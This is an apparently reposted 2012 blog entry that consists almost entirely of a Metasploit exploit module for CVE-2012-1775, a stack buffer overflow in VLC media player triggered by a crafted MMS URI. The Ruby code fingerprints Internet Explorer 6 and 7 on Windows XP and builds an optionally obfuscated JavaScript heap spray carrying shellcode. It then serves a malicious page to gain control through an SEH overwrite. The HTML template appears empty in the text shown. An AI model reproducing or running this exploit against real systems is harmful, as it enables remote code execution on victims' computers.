Saturday, May 5, 2012

VLC Media Player Multiple Remote Buffer Overflow Vulnerabilities

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Exploit :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "VLC MMS Stream Handling Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in VLC media player VLC media player prior
to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
in a stack buffer overflow when handling a malicious MMS URI.

This module uses the browser as attack vector. A specially crafted MMS URI is
used to trigger the overflow and get flow control through SEH overwrite. Control
is transferred to code located in the heap through a standard heap spray.

The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2012-1775'],
['OSVDB', '80188'],
['URL', 'http://www.videolan.org/security/sa1201.html'],
# Fix commit diff
['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1000,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
# Tested with VLC 2.0.0
[ 'Automatic', {} ],
[
'Internet Explorer 6 on XP SP3',
{
'Rop' => false,
# Space needed to overflow and generate an exception
# which allows to get control through SEH overwrite
'Offset' => 5488,
'OffsetShell' => '0x800 - code.length',
'Blocks' => '1550',
'Padding' => '0'
}
],
[
'Internet Explorer 7 on XP SP3',
{
'Rop' => false,
# Space needed to overflow and generate an exception
# which allows to get control through SEH overwrite
'Offset' => 5488,
'OffsetShell' => '0x800 - code.length',
'Blocks' => '1600',
'Padding' => '1'
}
]
],
'DisclosureDate' => "Mar 15 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end

def get_target(cli, request)
#Default target
my_target = target

vprint_status("User-Agent: #{request.headers['User-Agent']}")

if target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP + IE 6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP + 7.0
my_target = targets[2]
else
#If we don't recognize the client, we don't fire the exploit
my_target = nil
end
end

return my_target
end

def on_request_uri(cli, request)
#Pick the right target
my_target = get_target(cli, request)
if my_target.nil?
vprint_error("Target not supported")
send_not_found(cli)
return
end

vprint_status("URL: #{request.uri.to_s}")

#ARCH used by the victim machine
arch = Rex::Arch.endian(my_target.arch)
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
code = Rex::Text.to_unescape(payload.encoded, arch)

# Spray overwrites 0x30303030 with our payload
spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("#{nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['OffsetShell']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=0; i < #{my_target['Blocks']}; i++) { heap_obj.alloc(block); } JS #Use heaplib js_spray = heaplib(spray) #obfuscate on demand if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate end src_ip = Rex::Socket.source_address.split('.') hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join # Try to maximize success on IE7 platform: # If first octet of IP address is minor than 16 pad with zero # even when heap spray could be not successful. # Else pad following target heap spray criteria. if ((hex_ip.to_i(16) >> 24) < 16) padding_char = '0' else padding_char = my_target['Padding'] end hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}" html = <<-EOS









EOS

#Remove extra tabs in HTML
html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
end

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